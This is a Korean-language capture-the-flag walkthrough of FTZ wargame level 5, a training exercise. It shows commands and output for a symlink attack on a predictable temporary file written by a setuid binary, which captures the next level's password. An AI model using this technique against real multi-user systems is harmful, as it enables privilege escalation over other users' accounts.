ID : level5
PW : what is your name?
Level5 접속!
[level5@ftz level5]$ ls -al
total 80
drwxr-xr-x 4 root level5 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 10 2011 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 129 Mar 23 2000 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level5 4096 Feb 24 2002 public_html
drwxrwx--- 2 root level5 4096 Jan 16 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
힌트 파일을 읽습니다.
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
파일을 확인해봅시다.
[level5@ftz bin]$ cd
[level5@ftz level5]$ cd /usr/bin
[level5@ftz bin]$ ls -al level5
-rws--x--- 1 level6 level5 12236 Sep 10 2011 level5
level6의 SetUID가 걸려있는 것을 알 수 있네요.
파일을 실행하고 힌트대로 /tmp의 level5.tmp 파일이 생성됐는지 확인해봅시다.
[level5@ftz bin]$ ./level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt 2 root root 4096 Dec 2 18:12 .
drwxr-xr-x 20 root root 4096 Dec 2 17:58 ..
srwxrwxrwx 1 mysql mysql 0 Dec 2 17:59 mysql.sock
아무 것도 없네요.
임시 파일이 생성되고, 프로그램 종료 직전에 삭제된다는 것을 생각할 수 있습니다.
파일이 삭제되기 전에 임시파일의 내용을 알아낸다면 문제를 풀 수 있을 것 같습니다.
*심볼릭 링크(Symbolic Link)
파일을 가르키는 또 다른 파일을 말하는 것으로 윈도우의 바로가기와 비슷한 개념이다.
명령어 : ln [옵션] [원본파일] [대상파일]
ln 명령어 옵션
-b : 링크파일 생성시에 대상파일이 이미 존재하면 백업파일을 만든 후에 링크파일을 생성합니다.
-d : 디렉토리에 대한 하드링크파일생성을 가능하게 합니다.
-f : 대상파일이 존재할 경우에 대상파일을 지우고 링크파일을 생성합니다.
-i : 대상파일이 존재할 경우에 대상파일을 지울건인가를 확인요청합니다.
-t : 링크파일을 생성할 디렉토리를 지정합니다.
-s : 심볼릭링크 생성
파일을 만들고 그 파일에 level5.tmp의 심볼릭 링크를 걸어주면 level5.tmp 파일이 지워지기 전에 만든 파일에 내용이 담겨져 있을 것입니다.
바로 해봅시다.
[level5@ftz tmp]$ touch file
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt 2 root root 4096 Dec 2 18:21 .
drwxr-xr-x 20 root root 4096 Dec 2 17:58 ..
-rw-rw-r-- 1 level5 level5 0 Dec 2 18:21 file
srwxrwxrwx 1 mysql mysql 0 Dec 2 17:59 mysql.sock
파일을 생성한 후
ln 명령어를 이용해서 심볼릭 링크가 걸린 level5.tmp 파일 생성
[level5@ftz tmp]$ ln -s file level5.tmp
[level5@ftz tmp]$ ls -al
total 8
drwxrwxrwt 2 root root 4096 Dec 2 18:23 .
drwxr-xr-x 20 root root 4096 Dec 2 17:58 ..
-rw-rw-r-- 1 level5 level5 0 Dec 2 18:21 file
lrwxrwxrwx 1 level5 level5 4 Dec 2 18:23 level5.tmp -> file
srwxrwxrwx 1 mysql mysql 0 Dec 2 17:59 mysql.sock
이제 /usr/bin/level5 파일을 실행해봅시다.
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -al
total 12
drwxrwxrwt 2 root root 4096 Dec 2 18:23 .
drwxr-xr-x 20 root root 4096 Dec 2 17:58 ..
-rw-rw-r-- 1 level5 level5 31 Dec 2 18:25 file
lrwxrwxrwx 1 level5 level5 4 Dec 2 18:23 level5.tmp -> file
srwxrwxrwx 1 mysql mysql 0 Dec 2 17:59 mysql.sock
file의 용량이 0바이트에서 31바이트로 바뀐 것을 볼 수 있습니다.
바로 읽어봅시다.
[level5@ftz tmp]$ cat file
next password :
clear!
다음 레벨로 가봅시다. :)